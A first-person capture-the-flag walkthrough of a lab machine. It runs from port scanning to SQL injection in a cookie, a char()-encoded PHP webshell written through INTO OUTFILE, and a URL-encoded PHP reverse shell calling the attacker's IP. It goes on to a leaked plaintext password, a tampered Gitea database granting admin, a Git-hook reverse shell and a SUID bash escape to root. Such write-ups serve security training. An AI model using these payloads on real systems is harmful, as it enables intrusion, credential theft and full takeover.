Target IP: 10.10.213.13
Challenge Description: Who knew? The dog has some bite!
Performing a port scan using the command sudo nmap -sS 10.10.213.13 -p- returns the result shown above. By the looks of it, there are two TCP ports open on the target machine: SSH and HTTP, on their standard ports. I will perform an aggressive port scan against the two ports to identify more information about the services.
Running an aggressive port scan using the command sudo nmap -sV -A 10.10.213.13 -p 22,80 returns the result shown above. There is a web application on port 80. I will start enumeration with the HTTP application.
Port 80: HTTP
The webpage above was presented to me when I visit this web application via a web browser. I viewed the source-code of the webpage but I did not find anything useful. It informs me I am number fifty in the queue, but this is hardcoded in the code. Time to perform a directory search to find other pages, files, etc.
Performing a directory search using the command gobuster dir -u http://10.10.213.13/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt, I obtained the result shown above. I tried different wordlists, but I was not successful. Time to enumerate harder.
I made a curl request using the command curl -X HEAD -i http://10.10.213.13 to obtain the header values, and obtained the interesting result shown above. In the header, there is an cookie-value with the name id. I find this interesting as the cookie value is set automatically. Time to enumerate this parameter further using Burpsuite.
The parameter id seems to be vulnerable to SQL injection, as shown above. I sent the value ' for the id parameter, and obtained the SQL injection error shown above. The web application is responsible for closing the inserting the id and closing it with quotations. Time to identify the number of columns.
I sent the payload 'ORDER BY 3-- // and obtained the error message Error: Unknown column '3' in 'order clause', as shown above. This payload worked successfully. This perfect number of columns used by the web application is two.
Sending the payload 'UNION SELECT 1,@@version-- //, I managed to identify the SQL application version as shown above. The target machine seems to be running the version 5.7.34-0ubuntu0.18.04.1. I also used the payload 'UNION SELECT 1,user()-- // and identified the SQL application is being run by the user web@localhost. Using another UNION payload union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()-- // to identify the database name, I obtained the database name queue.
Sending the payload 'UNION SELECT 1, group_concat(column_name) FROM information_schema.columns WHERE table_schema=database()-- //, I obtained more information about the table. There are two columns: userID and queueNum, as shown above. Time to check the different user IDs and queue numbers.
Now I have the contents of the table by using the payload 'union select 1,group_concat(userID,"---",queueNum) from queue-- //, as shown above. However, when I was trying to format the output I obtained the interesting result shown below.
Sending the payload 'union select 1,group_concat(userID,"<->",queueNum) from queue-- //, I obtained the result above. The web application seems to think the string <-> is me attempting to perform RCE. What if I can use OUTFILE to upload a shell to perform RCE? Since the target machine is running Ubuntu, the default path of the web application is /var/www/html. Maybe I can use the function LOAD_FILE to read the content of config.php?
And bingo! Using the payload 'union select 1,LOAD_FILE("/var/www/html/config.php")-- //, I managed to obtain the credentials of the MySQL application from the config.php file as shown above. Since the port 3306 is closed, I cannot connect to it from my machine. Time to test if I can upload a PHP webshell. I will need to encode my PHP webshell to avoid the filters detecting the characters.
Uploading a webshell was tough as there were filters in place. To bypass the filters, I used the payload 'UNION SELECT 1,char(60,63,112,104,112,32,115,121,115,116,101,109,40,36,95,71,69,84,91,34,99,109,100,34,93,41,59,32,63,62) INTO OUTFILE '/var/www/html/shell.php'-- //. This payload is the decimal representation of the following <?php system($_GET["cmd"]); ?> ASCII PHP reverse shell code. After sending the payload, I received an Error message. However, this should have been uploaded successfully. Time to find out.
And bingo! I can issue commands at http://10.10.213.13/shell.php by my new PHP webshell, as shown above. I sent the commands ls;whoami;id and obtained the result shown above. Time to obtain a reverse shell connection now.
I started a listener on my machine at port 8443. Now I have a foothold on the target machine. Using the PHP webshell, I deployed the URL-encoded PHP reverse shell script php%20-r%20%27%24sock%3Dfsockopen%28%2210.14.55.153%22%2C8443%29%3Bshell_exec%28%22%2Fbin%2Fbash%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27 and obtained a session as the user www-data, as shown above. Now I have a foothold on the target machine.
I notice there is a user called dylan on the target machine. This user has an interesting file with the name work_analysis. This file contains the login attempts made by this user via SSH. And this file contains the password Labr4d0rs4L1f3 belonging to the user dylan, as shown above.
And using su, I managed to switch to this user dylan as shown above. I successfully elevated my privileges on the target machine horizontally. Time to enumerate further now.
I notice there is gitea installed on the target machine. From previous knowledge, I know this application runs on port 3000.
Running ss -ntplu proves true. There is gitea running on port 3000 internally, as shown above. Since I have the SSH credentials of the user dylan, I can expose this service outside the internal network and connect to it from my machine.
Using SSH tunneling, I used the command ssh -L 4444:localhost:3000 dylan@10.10.213.13 to expose the service externally. I ran the command on my machine. Now I should be able to access the service on my machine at port 4444. And bingo! It worked successfully. I logged in successfully as the user dylan and the password Labr4d0rs4L1f3.
However, it asks for the 2FA code belonging to the user dylan as shown above. Now I need to find the gitea.db. Before attacking the application, I enumerated further. I created a new user account called test. But obviously, I do not have admin privileges. Maybe I can edit the database file to give myself admin privileges?
On the target machine, I identied the location of the gitea.db file by using the command find / -name "gitea.db" 2>/dev/null at /gitea/gitea/gitea.db. Then I started a Python HTTP server at the same directory using the command python3 -m http.server 8080. Then on my machine, I browsed to http://10.10.213.13:8080/gitea.db to download the database file on my machine. The content of the user table is shown above.
I modified the table using the SQL statement UPDATE user SET is_admin = 1 WHERE lower_name = "test"; to give myself admin privileges. Now checking the table shows I am admin. Time to rename this database file to gitea.db and transfer it to the target machine.
I removed the gitea.db on the target machine by using the command rm gitea.db at /gitea/gitea/ directory. Then I served the new modified gitea.db with is_admin set to 1 for my new user to the target machine. To achieve this, I started a Python HTTP server on my machine. Then on the target machine, I executed the command wget http://10.14.55.153/gitea.db to download it, as shown above.
I had to reset the box as this method did not work at first. However, it worked after. Now the target machine has the IP address of 10.10.197.61. After repeating the processes above, now I have administrator access on the gitea web application as the user test, as shown above. Now I can use the Git hooks to obtain a remote shell connection.
I created a new repository with the name GiveMeShell. Then I browsed to the settings of this repository and changed the post-receive under the Git Hooks and inserted a bash reverse shell script, as shown above. I started a listener on my machine at port 8444. After making changes to the repository, I should obtain a reverse shell connection.
Firstly, I cloned the empty repository on the target machine using the command git clone http://localhost:3000/test/GiveMeShell.git at /tmp directory. Then I made a small change by inserting a string inside the README.md file using the command echo "Shell Access" >> README.md. Then I added this file to be commited using the command git add README.md. After, I made the commit using the command git commit -m "Shell access". Then using the command git push, I pushed the new changes to the empty repository as the account test I created with admin privileges. The sign of the terminal hanging is an indicator that the reverse shell connection is successful.
And bingo! Now I have a root shell on the target machine. Running sudo -l shows all commands can be executed as the user root. To spawn a root shell, I used the command sudo bash, as shown above. But this is just the docker session.
To obtain the final flag, I have to perform a few more steps. Although I have a root shell, it is for the docker. On the target machine as the user dylan, I used the command cp /bin/bash . to copy a bash shell at /gitea/gitea as shown above. Then on the terminal with the root shell with the docker session, I used the command chown root:root bash && chmod 4755 bash to change the bash binary to root to give me root access.
Then back on the terminal with the user dylan, I used the command ./bash -p to use the bash shell with root access, as shown above. The flag is also shown above. Now I have a root shell on the target machine :) Overall, this box was a lot of fun from SQL injection to SSH tunneling for privesc. I did find the privesc tough.
The two flags are shown above.